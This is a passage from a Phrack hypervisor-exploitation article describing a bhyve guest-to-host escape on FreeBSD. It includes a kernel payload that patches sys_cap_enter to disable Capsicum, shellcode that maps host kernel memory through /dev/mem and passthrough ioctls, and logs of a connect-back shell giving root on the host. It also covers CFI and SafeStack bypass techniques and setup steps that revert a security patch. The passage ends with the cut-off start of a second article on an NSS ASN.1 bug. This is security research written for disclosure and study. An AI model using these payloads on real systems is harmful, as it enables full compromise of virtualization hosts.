
if (cap_rights_limit(memfd, &rights) == ‑1 && errno != ENOSYS) . . .

}

There are two interesting things to notice in the overall PCI passthrough implementation:

‑ There is an open handle to /dev/mem interface with CAP_MMAP_RW rights within the sandboxed process. FreeBSD does not restrict access to this memory file like Linux does with CONFIG_STRICT_DEVMEM

‑ The VM_MAP_PPTDEV_MMIO IOCTL command maps host memory pages into the guest address space for supporting passthrough. However, the IOCTL does not validate the host physical address for which a mapping is requested. The host address may or may not belong to any of the BARs mapped by a device.

Both of this can be used to escape the sandbox by mapping arbitrary host memory from within the sandbox.

With the ability to read and write to an arbitrary physical address, the initial plan was to find and overwrite the 'ucred' credentials structure of the bhyve process. Searching through the system memory to locate the 'ucred' structure could be time‑consuming. An alternate approach is to target some deterministic allocation in the physical address space. The kernel base physical address of FreeBSD x86_64 system is not randomized [13] and always starts at 0x200000 (2MB). Guest can overwrite host kernel's .text segment to escape the sandbox.

To come up with a payload to disable capability lets analyze the sys_cap_enter() syscall. The sys_cap_enter() system call sets the CRED_FLAG_CAPMODE flag in 'cr_flags' element of 'ucred' structure to enable the capability mode. Below is the code from kern/sys_capability.c:

int

sys_cap_enter(struct thread *td, struct cap_enter_args *uap)

{

. . .

if (IN_CAPABILITY_MODE(td))

return (0);

newcred = crget();

p = td‑>td_proc;

. . .

newcred‑>cr_flags |= CRED_FLAG_CAPMODE; proc_set_cred(p, newcred);

. . .

}

The macro 'IN_CAPABILITY_MODE()' defined in capsicum.h is used to verify if the process is in capability mode and enforce restrictions.

#define IN_CAPABILITY_MODE(td) (((td)‑>td_ucred‑>cr_flags & CRED_FLAG_CAPMODE) != 0)

To disable capability mode:

‑ Overwrite a system call which is reachable from within the sandbox and takes a pointer to 'thread' (sys/sys/proc.h) or 'ucred' (sys/sys/ucred.h) structure as argument

‑ Trigger the overwritten system call from the sandboxed process ‑ Overwritten payload should use the pointer to 'thread' or 'ucred' structure to disable capability mode set in 'cr_flags'

The ideal choice for this turns out to be sys_cap_enter() system call itself since its reachable from within the sandbox and takes 'thread' structure as its first argument. The kernel payload to replace sys_cap_enter() syscall code is below:

root@:~ # gdb ‑q /boot/kernel/kernel

Reading symbols from /boot/kernel/kernel...Reading symbols from /usr/lib/debug//boot/kernel/kernel.debug...done.

done.

(gdb) macro define offsetof(t, f) &((t *) 0)‑>f)

(gdb) p offsetof(struct thread, td_ucred)

$1 = (struct ucred **) 0x140

(gdb) p offsetof(struct ucred, cr_flags)

$2 = (u_int *) 0x40

movq 0x140(%rdi), %rax/* get ucred, struct ucred *td_ucred */

xorb $0x1, 0x40(%rax)/* flip cr_flags in ucred */

xorq %rax, %rax

ret

Now either the open handle to /dev/mem interface or VM_MAP_PPTDEV_MMIO IOCTL command can be used to escape the sandbox. The /dev/mem sandbox escape requires the first stage payload executing within the sandbox to mmap() the page having the kernel code of sys_cap_enter() system call and then overwrite it:

‑‑‑[ shellcode.c ]‑‑‑

. . .

kernel_page = (uint8_t *)payload‑>syscall(SYS_mmap, 0, 4096, PROT_READ | PROT_WRITE, MAP_SHARED, DEV_MEM_FD, sys_cap_enter_phyaddr & 0xFFF000);

offset_in_page = sys_cap_enter_phyaddr & 0xFFF; for (int i = 0; i < sizeof(payload‑>disable_capability); i++) { kernel_page[offset_in_page + i] = payload‑>disable_capability[i];

}

payload‑>syscall(SYS_cap_enter);

. . .

VM_MAP_PPTDEV_MMIO IOCTL sandbox escape requires some more work. The guest physical address to map the host kernel page should be chosen correctly. VM_MAP_PPTDEV_MMIO command is handled in vmm/vmm_dev.c by a series of calls ppt_map_mmio()‑>vm_map_mmio()‑>vmm_mmio_alloc(). The call of importance is 'vmm_mmio_alloc()' in vmm/vmm_mem.c:

vm_object_t

vmm_mmio_alloc(struct vmspace *vmspace, vm_paddr_t gpa, size_t len, vm_paddr_t hpa)

{

. . .

error = vm_map_find(&vmspace‑>vm_map, obj, 0, &gpa, len, 0,

VMFS_NO_SPACE, VM_PROT_RW, VM_PROT_RW,

0);

. . .

}

The vm_map_find() function [14] is used to find a free region in the provided map 'vmspace‑>vm_map' with 'find_space' strategy set to VMFS_NO_SPACE. This means the MMIO mapping request will only succeed if there is a free region of the requested length at the given guest physical address. An ideal address to use would be from a memory range not allocated to system memory or PCI devices [15].

The first stage shellcode executing within the sandbox will map the host kernel page into the guest and returns control back to the guest OS.

‑‑‑[ shellcode.c ]‑‑‑

. . .

payload‑>mmio.bus = 2;

payload‑>mmio.slot = 3;

payload‑>mmio.func = 0;

payload‑>mmio.gpa = gpa_to_host_kernel; payload‑>mmio.hpa = sys_cap_enter_phyaddr & 0xFFF000; payload‑>mmio.len = getpagesize();

. . .

payload‑>syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO, &payload‑>mmio);

. . .

The guest OS then maps the guest physical address and writes to it, which in turn overwrites the host kernel pages:

‑‑‑[ exploit.c ]‑‑‑

. . .

warnx("[+] Mapping GPA pointing to host kernel..."); kernel_page = map_phy_address(gpa_to_host_kernel, getpagesize());

warnx("[+] Overwriting sys_cap_enter in host kernel..."); offset_in_page = sys_cap_enter_phyaddr & 0xFFF; memcpy(&kernel_page[offset_in_page], &disable_capability, (void *)&disable_capability_end ‑ (void *)&disable_capability);

. . .

Finally, the guest triggers the second stage payload to call sys_cap_enter() to disable the capability mode. Interestingly, the VM_MAP_PPTDEV_MMIO command sandbox escape will work even when an individual guest VM is not configured to use PCI passthrough.

During initialization passthru_init() calls the libvmmapi API vm_assign_pptdev() to bind the device:

static int

passthru_init(struct vmctx *ctx, struct pci_devinst *pi, char *opts) {

. . .

if (vm_assign_pptdev(ctx, bus, slot, func) != 0) { . . .

}

int

vm_assign_pptdev(struct vmctx *ctx, int bus, int slot, int func) {

. . .

pptdev.bus = bus;

pptdev.slot = slot;

pptdev.func = func;

return (ioctl(ctx‑>fd, VM_BIND_PPTDEV, &pptdev));

}

Similarly, payload running in the sandboxed process can bind to a passthrough device using VM_BIND_PPTDEV IOCTL command and then use VM_MAP_PPTDEV_MMIO command to escape the sandbox. For this to work, some PCI device should be configured for passthrough in the loader configuration of the host [12] and not owned by any other guest VM.

‑‑‑[ shellcode.c ]‑‑‑

. . .

payload‑>pptdev.bus = 2;

payload‑>pptdev.slot = 3;

payload‑>pptdev.func = 0;

. . .

payload‑>syscall(SYS_ioctl, VMM_FD, VM_BIND_PPTDEV,

&payload‑>pptdev);

payload‑>syscall(SYS_ioctl, VMM_FD, VM_MAP_PPTDEV_MMIO, &payload‑>mmio);

. . .

Running the VM escape exploit with PCI passthrough sandbox escape will give the following output:

root@guest:~/setupB/fwctl_sandbox_bind_exploit # ./exploit 192.168.182.144 6969

exploit: [+] CPU affinity set to vCPU0

exploit: [+] Changing state to IDENT_SEND

exploit: [+] Reading signature...

exploit: [+] Received signature : BHYV

exploit: [+] Set req_size value to 0xFFFFFFFF

exploit: [+] Setting up fake structures...

exploit: [+] Preparing connect back shellcode for 192.168.182.144:6969 exploit: [+] Sending data to overwrite IO handlers...

exploit: [+] Overwriting mmio_hint...

exploit: [+] Triggering MMIO read to execute sandbox bypass payload... exploit: [+] Mapping GPA pointing to host kernel...

exploit: [+] Overwriting sys_cap_enter in host kernel... exploit: [+] Triggering MMIO read to execute connect back payload... root@guest:~/setupB/fwctl_sandbox_bind_exploit #

root@guest:~ # nc ‑vvv ‑l 6969

Connection from 192.168.182.143 61608 received!

id

uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)

It is also possible to trigger a panic() in the host kernel from within the sandbox by adding a device twice using VM_BIND_PPTDEV. During the VM_BIND_PPTDEV command handling, vtd_add_device() in vmm/intel/vtd.c calls panic() if the device is already owned. I did not explore this further as it is less interesting for a complete sandbox escape.

static void

vtd_add_device(void *arg, uint16_t rid)

{

. . .

if (ctxp[idx] & VTD_CTX_PRESENT) { panic("vtd_add_device: device %x is already owned by " "domain %d", rid, (uint16_t)(ctxp[idx + 1] >> 8)); }

. . .

}

‑‑‑[ core.txt ]‑‑‑

. . .

panic: vtd_add_device: device 218 is already owned by domain 2 cpuid = 0

KDB: stack backtrace:

#0 0xffffffff80b3d567 at kdb_backtrace+0x67

#1 0xffffffff80af6b07 at vpanic+0x177

#2 0xffffffff80af6983 at panic+0x43

#3 0xffffffff8227227c at vtd_add_device+0x9c

#4 0xffffffff82262d5b at ppt_assign_device+0x25b

#5 0xffffffff8225da20 at vmmdev_ioctl+0xaf0

#6 0xffffffff809c49b8 at devfs_ioctl_f+0x128

#7 0xffffffff80b595ed at kern_ioctl+0x26d

#8 0xffffffff80b5930c at sys_ioctl+0x15c

#9 0xffffffff80f79038 at amd64_syscall+0xa38

#10 0xffffffff80f57eed at fast_syscall_common+0x101

. . .

‑‑[ 9 ‑ Analysis of CFI and SafeStack in HardenedBSD 12‑CURRENT

Bhyve in HardenedBSD 12‑CURRENT comes with mitigations like ASLR, PIE, clang's Control‑Flow Integrity (CFI) [16], SafeStack etc. Addition of mitigations created a new set of challenge for exploit development. The initial plan was to test against these mitigations using CVE‑2018‑17160 [21]. However, turning CVE‑2018‑17160 into an information disclosure looked less feasible during my analysis. To continue the analysis further, I reverted the patch for VGA bug (FreeBSD‑SA‑16:32) [1] for information disclosure. Now we have a combination of two bugs, VGA bug to disclose bhyve base address and fwctl bug for arbitrary r/w.

During an indirect call, CFI verifies if the target address points to a valid function and has a matching function pointer type. All the details mentioned in section 7.2 for achieving arbitrary read and write works even under CFI once we know the bhyve base address. The function pci_emul_io_handler() used to overwrite the 'handler' in 'inout_handlers' structure and functions pci_emul_dior(), pci_emul_diow() used in fake 'pci_devemu' structure, all have matching function pointer types and does not violate CFI rules.

For making indirect function calls, CFI instrumentation generates a jump table, which has branch instruction to the actual target function [17]. It is this address of jump table entries which are valid targets for CFI and should be used when overwriting the callbacks. Symbols to the target function are referred to as *.cfi. Since radare2 does a good job in analyzing CFI enabled binaries, jump tables can be located by finding references to the symbols *.cfi.

# r2 /usr/sbin/bhyve

[0x0001d000]> o /usr/lib/debug/usr/sbin/bhyve.debug [0x0001d000]> aaaa

[0x0001d000]> axt sym.pci_emul_diow.cfi

sym.pci_emul_diow 0x64ca8 [code] jmp sym.pci_emul_diow.cfi [0x0001d000]> axt sym.pci_emul_dior.cfi

sym.pci_emul_dior 0x64c60 [code] jmp sym.pci_emul_dior.cfi

Rest of the section will detail about targets to overwrite when CFI and SafeStack are in place. All the previously detailed techniques will no longer work. CFI bypasses due to lack of Cross‑DSO CFI is out of scope for this research.

‑‑‑‑[ 9.1 ‑ SafeStack bypass using neglected pointers

SafeStack [18] protects against stack buffer overflows by separating the program stack into two regions ‑ safe stack and unsafe stack. The safe stack stores critical data like return addresses, register spills etc. which need protection from stack buffer overflows. For protection against arbitrary memory writes, SafeStack relies on randomization and information hiding. ASLR should be strong enough to prevent an attacker from predicting the address of the safe stack, and no pointers to the safe stack should be stored outside the safe stack itself.

However, this is not always the case. There are a lot of neglected pointers to the safe stack as already demonstrated in [19]. Bhyve stores pointers to stack data in global variables during its initialization in main 'mevent' thread. Some of the pointers are 'guest_uuid_str', 'vmname', 'progname' and 'optarg' in bhyverun.c. Other interesting variables storing pointers to the stack are 'environ' and '__progname':

root@renorobert:~ # gdb ‑q ‑p `pidof bhyve`

Attaching to process 62427

Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done.

done.

. . .

(gdb) x/gx &progname

0x262fbe9b600 <progname>:0x00006dacc2a15a40

'mevent' thread also stores a pointer to pthread structure in 'mevent_tid' declared in mevent.c:

static pthread_t mevent_tid;

. . .

void

mevent_dispatch(void)

{

. . .

mevent_tid = pthread_self();

. . .

}

The arbitrary read primitive created from fwctl bug can disclose the safe stack address of 'mevent' thread by reading any of the variables mentioned above.

Let's consider the case of 'mevent_tid' pthread structure. The 'pthread' and 'pthread_attr' structures are defined in libthr/thread/thr_private.h. The useful elements for leaking stack address include 'unwind_stackend', 'stackaddr_attr' and 'stacksize_attr'. Below is the output of the analysis from gdb and procstat:

(gdb) print ((struct pthread *)mevent_tid)‑>unwind_stackend

$3 = (void *) 0x6dacc2a16000

(gdb) print ((struct pthread *)mevent_tid)‑>attr.stackaddr_attr $4 = (void *) 0x6dac82a16000

(gdb) print ((struct pthread *)mevent_tid)‑>attr.stacksize_attr $5 = 1073741824

(gdb) print ((struct pthread *)mevent_tid)‑>attr.stackaddr_attr + ((struct pthread *)mevent_tid)‑>attr.stacksize_attr

$6 = (void *) 0x6dacc2a16000

root@renorobert:~ # procstat ‑v `pidof bhyve`

. . .

62427 0x6dac82a15000 0x6dac82a16000 ‑‑‑ 0 0 0 0 ‑‑‑‑ ‑‑ 62427 0x6dac82a16000 0x6dacc29f6000 ‑‑‑ 0 0 0 0 ‑‑‑‑ ‑‑ 62427 0x6dacc29f6000 0x6dacc2a16000 rw‑ 3 3 1 0 ‑‑‑D df

Once the safe stack location of 'mevent' thread is leaked, arbitrary write can be used to overwrite the return address of any function call. It is also possible to calculate the safe stack address of other threads since they are relative to address of 'mevent' thread's safe stack.

Next, we should find a target function call to overwrite the return address. The event dispatcher function mevent_dispatch() (section 3.2) goes into an infinite loop, waiting for events using a blocking call to kevent():

void

mevent_dispatch(void)

{

. . .

for (;;) {

. . .

ret = kevent(mfd, NULL, 0, eventlist, MEVENT_MAX, NULL); . . .

mevent_handle(eventlist, ret);

}

}

Overwriting the return address of the blocking call to kevent() gives RIP control as soon as an event is triggered in bhyve. Below is the output of the proof‑of‑concept code demonstrating RIP control:

root@guest:~/setupC/cfi_safestack_bypass # ./exploit

exploit: [+] Triggering info leak using FreeBSD‑SA‑16:32.bhyve... exploit: [+] mevent located @ offset = 0x1df58

exploit: [+] Leaked power_handler address = 0x262fbc43ae0 exploit: [+] Bhyve base address = 0x262fbbdf000

exploit: [+] Changing state to IDENT_SEND

exploit: [+] Reading signature...

exploit: [+] Received signature : BHYV

exploit: [+] Set req_size value to 0xFFFFFFFF

exploit: [+] Setting up fake structures...

exploit: [+] Sending data to overwrite IO handlers...

exploit: [+] Leaking safe stack address by reading pthread struct... exploit: [+] Leaked safe stack address = 0x6dacc2a16000 exploit: [+] Located mevent_dispatch RIP...

root@renorobert:~ # gdb ‑q ‑p `pidof bhyve`

Attaching to process 62427

Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done.

done.

. . .

[Switching to LWP 100082 of process 62427]

_kevent () at _kevent.S:3

3_kevent.S: No such file or directory.

(gdb) c

Continuing.

Thread 1 "mevent" received signal SIGBUS, Bus error. 0x000002e5ed0984f8 in __thr_kevent (kq=<optimized out>, changelist=<optimized out>, nchanges=<optimized out>, eventlist=<optimized out>, nevents=<optimized out>,

timeout=0x6dacc2a15700) at /usr/src/lib/libthr/thread/thr_syscalls.c:403

403}

(gdb) x/i $rip

=> 0x2e5ed0984f8 <__thr_kevent+120>:retq

(gdb) x/gx $rsp

0x6dacc2a156d8:0xdeadbeef00000000

‑‑‑‑[ 9.2 ‑ Registering arbitrary signal handler using ACPI shutdown

For the next bypass, let's revisit the smi_cmd_handler() detailed in section 3.2. Writing the value 0xa1 (BHYVE_ACPI_DISABLE) to SMI command port not only removes the event handler for SIGTERM, but also registers a signal handler.

static sig_t old_power_handler;

. . .

static int

smi_cmd_handler(struct vmctx *ctx, int vcpu, int in, int port, int bytes, uint32_t *eax, void *arg)

{

. . .

case BHYVE_ACPI_DISABLE:

. . .

if (power_button != NULL) { mevent_delete(power_button); power_button = NULL; signal(SIGTERM, old_power_handler); . . .

}

'old_power_handler' can be overwritten using the arbitrary write provided by fwctl bug. The call to signal() thus uses the overwritten value, allowing the guest to register an arbitrary address as a signal handler for SIGTERM signal. The plan is to invoke the arbitrary address through the signal trampoline which does not perform CFI validations. The signal trampoline code invokes the signal handler and then invokes sigreturn system call to restore the thread's state:

0x7fe555aba000:callq *(%rsp)

0x7fe555aba003:lea 0x10(%rsp),%rdi

0x7fe555aba008:pushq $0x0

0x7fe555aba00a:mov $0x1a1,%rax

0x7fe555aba011:syscall

However, call to signal() does not directly invoke the sigaction system call. The libthr library on load installs interposing handlers [20] for many functions in libc, including sigaction().

int

sigaction(int sig, const struct sigaction *act, struct sigaction *oact) {

return (((int (*)(int, const struct sigaction *, struct sigaction *))

__libc_interposing[INTERPOS_sigaction])(sig, act, oact)); }

The libthr signal handling code is implemented in libthr/thread/thr_sig.c. The interposing function __thr_sigaction() stores application registered signal handling information in an array '_thr_sigact[_SIG_MAXSIG]'. libthr also registers a single signal handler thr_sighandler(), which dispatches to application registered signal handlers using the information stored in '_thr_sigact'. When a signal is received, thr_sighandler() calls handle_signal() to invoke the respective signal handler through an indirect call.

static void

handle_signal(struct sigaction *actp, int sig, siginfo_t *info, ucontext_t *ucp)

{

. . .

sigfunc = actp‑>sa_sigaction;

. . .

if ((actp‑>sa_flags & SA_SIGINFO) != 0) { sigfunc(sig, info, ucp);

} else {

((ohandler)sigfunc)(sig, info‑>si_code, (struct sigcontext *)ucp, info‑>si_addr, (__sighandler_t *)sigfunc);

}

. . .

}

If libthr.so is compiled with CFI, these indirect calls will also be protected. In order to redirect execution to the signal trampoline, guest should overwrite the __libc_interposing[INTERPOS_sigaction] entry with address of _sigaction() system call instead of __thr_sigaction(). Since _sigaction() and __thr_sigaction() are of the same function type, they should be valid targets under CFI.

After the guest registers a fake signal handler, it should wait until the host triggers an ACPI shutdown using SIGTERM. Below is the output of proof‑of‑concept for RIP control using signal handler:

root@guest:~/setupC/cfi_signal_bypass # ./exploit

exploit: [+] Triggering info leak using FreeBSD‑SA‑16:32.bhyve... exploit: [+] mevent located @ offset = 0xbff58

exploit: [+] Leaked power_handler address = 0x2aa1604cae0 exploit: [+] Bhyve base address = 0x2aa15fe8000

exploit: [+] Changing state to IDENT_SEND

exploit: [+] Reading signature...

exploit: [+] Received signature : BHYV

exploit: [+] Set req_size value to 0xFFFFFFFF

exploit: [+] Setting up fake structures...

exploit: [+] Sending data to overwrite IO handlers...

exploit: [+] libc base address = 0x6892a57a000

exploit: [+] Overwriting libc interposing table entry for sigaction... exploit: [+] Overwriting old_power_handler...

exploit: [+] Disabling ACPI shutdown to register fake signal handler root@guest:~/cfi_bypass/cfi_signal_bypass #

root@host:~ # vm stop freebsdvm

Sending ACPI shutdown to freebsdvm

root@host:~ # gdb ‑q ‑p `pidof bhyve`

Attaching to process 44443

Reading symbols from /usr/sbin/bhyve...Reading symbols from /usr/lib/debug//usr/sbin/bhyve.debug...done.

done.

. . .

_kevent () at _kevent.S:3

3_kevent.S: No such file or directory.

(gdb) c

Continuing.

Thread 1 "mevent" received signal SIGTERM, Terminated.

_kevent () at _kevent.S:3

3in _kevent.S

(gdb) c

Continuing.

Thread 1 "mevent" received signal SIGBUS, Bus error. 0x00007fe555aba000 in '' ()

(gdb) x/i $rip

=> 0x7fe555aba000:callq *(%rsp)

(gdb) x/gx $rsp

0x751bcf604b70:0xdeadbeef00000000

The information disclosure using FreeBSD‑SA‑16:32.bhyve crashes at times in HardenedBSD 12‑Current. Though this can be improved, I left it as such since the bug was re‑introduced for experimental purposes by reverting the patch.

‑‑[ 10 ‑ Conclusion

The paper details various techniques to gain RIP control as well as achieve arbitrary read/write by abusing bhyve's internal data structures. I believe the methodology described here is generic and could be applicable in the exploitation of similar bugs in bhyve or even in the analysis of other hypervisors.

Many thanks to Ilja van Sprundel for finding and disclosing the VGA bug detailed in the first part of the paper. Thanks to argp, huku and vats for their excellent research on the jemalloc allocator exploitation. I would also like to thank Mehdi Talbi and Paul Fariello for their QEMU case study paper, which motivated me to write one for bhyve. Finally a big thanks to Phrack Staff for their review and feedback, which helped me improve the article.

‑‑[ 11 ‑ References

[1] FreeBSD‑SA‑16:32.bhyve ‑ privilege escalation vulnerability https://www.freebsd.org/security/advisories/FreeBSD‑SA‑16:32.bhyve.asc

[2] Setting the VGA Palette https://bos.asmhackers.net/docs/vga_without_bios/docs/palettesetting.pdf

[3] Hardware Level VGA and SVGA Video Programming Information Page http://www.osdever.net/FreeVGA/vga/colorreg.htm

[4] Pseudomonarchia jemallocum http://phrack.org/issues/68/10.html

[5] Exploiting VLC, a case study on jemalloc heap overflows http://phrack.org/issues/68/13.html

[6] The Shadow over Android https://census‑labs.com/media/shadow‑infiltrate‑2017.pdf

[7] Kqueue: A generic and scalable event notification facility https://people.freebsd.org/~jlemon/papers/kqueue.pdf

[8] VM escape ‑ QEMU Case Study http://www.phrack.org/papers/vm‑escape‑qemu‑case‑study.html

[9] Capsicum: practical capabilities for UNIX https://www.usenix.org/legacy/event/sec10/tech/full_papers/Watson.pdf

[10] Capsicumise bhyve

https://reviews.freebsd.org/D8290

[11] Capsicum support for bhyve https://reviews.freebsd.org/rS313727

[12] bhyve PCI Passthrough https://wiki.freebsd.org/bhyve/pci_passthru

[13] Put kernel physaddr at explicit 2MB rather than inconsistent MAXPAGESIZE

https://reviews.freebsd.org/D8610

[14] VM_MAP_FIND ‑ FreeBSD Kernel Developer's Manual https://www.freebsd.org/cgi/man.cgi'query=vm_map_find&sektion=9

[15] Nested Paging in bhyve https://people.freebsd.org/~neel/bhyve/bhyve_nested_paging.pdf

[16] Introducing CFI https://hardenedbsd.org/article/shawn‑webb/2017‑03‑02/introducing‑cfi

[17] Control Flow Integrity Design Documentation https://clang.llvm.org/docs/ControlFlowIntegrityDesign.html

[18] SafeStack

https://clang.llvm.org/docs/SafeStack.html

[19] Bypassing clang's SafeStack for Fun and Profit https://www.blackhat.com/docs/eu‑16/materials/eu‑16‑Goktas‑Bypassing‑Clangs‑SafeStack.pdf

[20] libthr ‑ POSIX threads library https://www.freebsd.org/cgi/man.cgi'query=libthr&sektion=3&manpath=freebsd‑release‑ports

[21] FreeBSD‑SA‑18:14.bhyve ‑ Insufficient bounds checking in bhyve device model https://www.freebsd.org/security/advisories/FreeBSD‑SA‑18:14.bhyve.asc

[22] FreeBSD‑SA‑18:14.bhyve ‑ Always treat firmware request and response sizes as unsigned https://github.com/freebsd/freebsd/commit/33c6dca1c4dc75a1d7017b70f388de88636a7e63

‑‑[ 12 ‑ Source code and environment details

The experiment was set up on 3 different host operating systems, all running inside VMware Fusion with nested virtualization enabled. vm‑bhyve [S1] was used to set up and manage the virtual machines

A. FreeBSD 11.0‑RELEASE‑p1 #0 r306420 running Ubuntu server 14.04.5 LTS as guest

B. FreeBSD 11.2‑RELEASE #0 r335510 running FreeBSD 11.2‑RELEASE #0 r335510 as guest

C. FreeBSD 12.0‑CURRENT #0 [DEVEL:HardenedBSD‑CURRENT‑hbsdcontrol‑amd64:53] running FreeBSD 11.1‑RELEASE #0 r321309

Setup (A): Set graphics="yes" in the VM configuration used by vm‑bhyve to enable framebuffer device required by VGA. vm‑bhyve enables frame buffer device only when UEFI is also enabled. This check can be commented out in 'vm‑run' bash script [S2].

# add frame buffer output

#

vm::bhyve_device_fbuf(){

local _graphics _port _listen _res _wait _pass

local _fbuf_conf

# only works in uefi mode

#[ ‑z "${_uefi}" ] && return 0

. . .

}

All the analysis detailed in section 2, 3, 4 and 5 uses this setup (A). The following exploits provided in the attached code can be tested in this environment:

‑ readmemory ‑ proof of concept code to disclose bhyve heap using VGA bug (section 3.1)

‑ vga_fakearena_exploit ‑ full working exploit with connect back shellcode using fake arena technique (section 3)

‑ vga_ioport_exploit ‑ full working exploit with connect back shellcode using corrupted inout_handlers structure (section 4.1 ‑ 4.4)

‑ vga_pci_exploit ‑ proof of concept code to demonstrate RIP control using PCI BAR decoding technique (section 4.5). It requires libpciaccess, which can be installed using 'apt‑get install libpciaccess‑dev'

Setup (B): Apply the bhyverun.patch in the attached code to bhyve and rebuild from source. This enables fwctl device by default without specifying a bootrom

# cd /usr/src

# patch < bhyverun.patch

# cd /usr/src/usr.sbin/bhyve

# make

# make install

Enable IOMMU if the host is running as a VM. Follow the instructions in [S3] up to step 4 to make sure a device available for any VM running on this host. I used the below USB device for passthrough:

root@host:~ # pciconf ‑v ‑l

. . .

ppt0@pci0:2:3:0:class=0x0c0320 card=0x077015ad chip=0x077015ad rev=0x00 hdr=0x00

vendor = 'VMware'

device = 'USB2 EHCI Controller'

class = serial bus

subclass = USB

After the reboot, verify if the device is ready for passthrough:

root@host:~ # vm passthru

DEVICE BHYVE ID READY DESCRIPTION

hostb0 0/0/0 No 440BX/ZX/DX ‑ 82443BX/ZX/DX Host bridge

pcib1 0/1/0 No 440BX/ZX/DX ‑ 82443BX/ZX/DX AGP bridge isab0 0/7/0 No 82371AB/EB/MB PIIX4 ISA

. . .

em0 2/1/0 No 82545EM Gigabit Ethernet Controller (Copper)

pcm0 2/2/0 No ES1371/ES1373 / Creative Labs CT2518 ppt0 2/3/0 Yes USB2 EHCI Controller

The 'USB2 EHCI Controller' is marked ready. After this, set 'passthru0' parameter as '2/3/0' in the VM configuration used by vm‑bhyve [S4] to expose the device to a VM.

All the analysis detailed in section 6, 7 and 8 uses this setup (B). The following exploits provided in the attached code can be tested in this environment:

‑ fwctl_sandbox_devmem_exploit ‑ full working exploit with connect back shellcode using /dev/mem sandbox escape. Requires 'passthru0' parameter to be configured

‑ fwctl_sandbox_map_exploit ‑ full working exploit with connect back shellcode using VM_MAP_PPTDEV_MMIO IOCTL command. Requires 'passthru0' parameter to be configured

‑ fwctl_sandbox_bind_exploit ‑ full working exploit with connect back shellcode using VM_MAP_PPTDEV_MMIO and VM_BIND_PPTDEV IOCTL command. Configure only a host device for passthrough. Do not set the 'passthru0' parameter. If 'passthru0' is set, a kernel panic detailed in section 8 will be triggered when running the exploit.

Setup (C): This setup uses HardenedBSD‑CURRENT‑hbsdcontrol‑amd64‑s201709141755‑disc1.iso downloaded from [S5]. Use the information provided in [S6] to setup ports if necessary. Apply the bhyverun.patch in the attached code and revert the VGA patch [S7] from bhyve.

# cd /usr/src

# patch < bhyverun.patch

# fetch https://security.FreeBSD.org/patches/SA‑16:32/bhyve.patch

# patch ‑R < bhyve.patch

# cd /usr/src/usr.sbin/bhyve

# make

# make install

All the analysis detailed in section 9 uses this setup (C). The following proof of concepts provided in the attached code can be tested in this environment:

‑ cfi_safestack_bypass ‑ proof of concept code to demonstrate RIP control bypassing SafeStack

‑ cfi_signal_bypass ‑ proof of concept code to demonstrate RIP control using signal trampoline

Addresses of ROP gadgets might need readjustment in any of the above code.

[S1] vm‑bhyve ‑ Management system for FreeBSD bhyve virtual machines https://github.com/churchers/vm‑bhyve

[S2] vm‑run https://github.com/churchers/vm‑bhyve/blob/master/lib/vm‑run

[S3] bhyve PCI Passthrough https://wiki.freebsd.org/bhyve/pci_passthru

[S4] passthru0 https://github.com/churchers/vm‑bhyve/blob/master/sample‑templates/config.sample

[S5] HardenedBSD‑CURRENT‑hbsdcontrol‑amd64‑LATEST/ISO‑IMAGES https://jenkins.hardenedbsd.org/builds/HardenedBSD‑CURRENT‑hbsdcontrol‑amd64‑LATEST/ISO‑IMAGES/

[S6] How to use Ports under HardenedBSD https://groups.google.com/a/hardenedbsd.org/d/msg/users/gRGS6n_446M/KoHGgrB1BgAJ

[S7] FreeBSD‑SA‑16:32.bhyve ‑ privilege escalation vulnerability https://www.freebsd.org/security/advisories/FreeBSD‑SA‑16:32.bhyve.asc

>>>base64‑begin code.zip

The Bear in the Arena

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0c of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ The Bear in the Arena ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ xerub ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑ Table of contents

0 ‑ Introduction

1 ‑ ASN.1 basics

1.0 ‑ BER basics

2 ‑ Enter the bug

2.0 ‑ The allocator

2.1 ‑ The state machine

2.2 ‑ The subtle flaw

2.3 ‑ The strategy

3 ‑ Exploit techniques

3.0 ‑ PKCS#7

3.1 ‑ Building blocks

4 ‑ Fast forward

4.0 ‑ Rolling the dice

4.1 ‑ Dance, little bunny!

4.2 ‑ He who controls the Arena

4.2.0 ‑ Copyout

4.2.1 ‑ Copyin

4.2.2 ‑ Arithmetic

4.3 ‑ Assembling the pieces

5 ‑ Conclusions

6 ‑ References

7 ‑ Source code

‑‑ 0 ‑ Introduction

In this article we set out to analyse an old bug, namely CVE‑2016‑1950[0]. While the bug was fixed long ago, it is worth dissecting it because of its particularities and potential effects it had before it was patched. The bug was present in the Mozilla NSS (the BER ASN.1 parser to be more specific) a codebase that is also used by iOS/macOS, thereby impacting all applications using the Security framework. We'll walk through some exploit techniques powerful enough to gain code execution in certain daemons.

‑‑ 1 ‑ ASN.1 basics

Abstract Syntax Notation One (ASN.1) is an interface description language used for defining data structures that can be serialised and deserialised in a cross‑platform way[1]. It is used in telecommunications and computer networking, cryptography, and other fields.

Let's start with a simple example of ASN.1:

FooProtocol DEFINITIONS ::= BEGIN

FooQuestion ::= SEQUENCE {

trackingNumber INTEGER,

question IA5String

}

FooAnswer ::= SEQUENCE {

questionNumber INTEGER,

answer BOOLEAN

}

END

And the messages:

myQuestion FooQuestion ::= {

trackingNumber 5,

